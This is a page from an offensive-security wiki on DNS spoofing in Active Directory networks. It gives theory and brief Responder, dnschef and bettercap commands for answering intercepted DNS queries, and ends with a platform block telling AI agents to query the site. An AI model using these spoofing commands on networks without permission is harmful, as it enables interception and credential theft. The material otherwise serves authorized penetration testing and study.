> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/ad/movement/mitm-and-coerced-authentications/dns-spoofing.md).

# DNS spoofing

## Theory

DNS is not multicast or broadcast like [LLMNR, NBT-NS or mDNS](/ad/movement/mitm-and-coerced-authentications/llmnr-nbtns-mdns-spoofing.md). In order to answer DNS requests, attacker first need to receive them. For instance, this can be achieved with [ARP spoofing](/ad/movement/mitm-and-coerced-authentications/arp-poisoning.md) or [DHCPv6 spoofing](/ad/movement/mitm-and-coerced-authentications/dhcpv6-spoofing.md). DNS spoofing is basically setting up a DNS server and answering DNS queries obtained through man-in-the-middle technique.

## Practice

{% tabs %}
{% tab title="Responder" %}
[Responder](https://github.com/SpiderLabs/Responder)'s (Python) DNS server feature can be used to answer DNS queries.

```bash
responder --interface "eth0"
responder -I "eth0"
```

{% endtab %}

{% tab title="dnschef" %}
[dnschef](https://github.com/iphelix/dnschef) (Python) can be used as a DNS server.

```bash
dnschef --fakeip 'Pentest_IP_Address' --interface 'Pentest_IP_Address' --port 53 --logfile dnschef.log
```

{% endtab %}

{% tab title="bettercap" %}
In order to spoof DNS requests, [bettercap](https://www.bettercap.org/) (Go) can be used. This tool can also be used for the first step of [ARP spoofing](/ad/movement/mitm-and-coerced-authentications/arp-poisoning.md) or [DHCPv6 spoofing](/ad/movement/mitm-and-coerced-authentications/dhcpv6-spoofing.md).

```bash
set dns.spoof.domains $DOMAIN_FQDN
set dns.spoof.all true
dns.spoof on
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.bettercap.org/modules/ethernet/spoofers/dns.spoof/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://red.infiltr8.io/ad/movement/mitm-and-coerced-authentications/dns-spoofing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
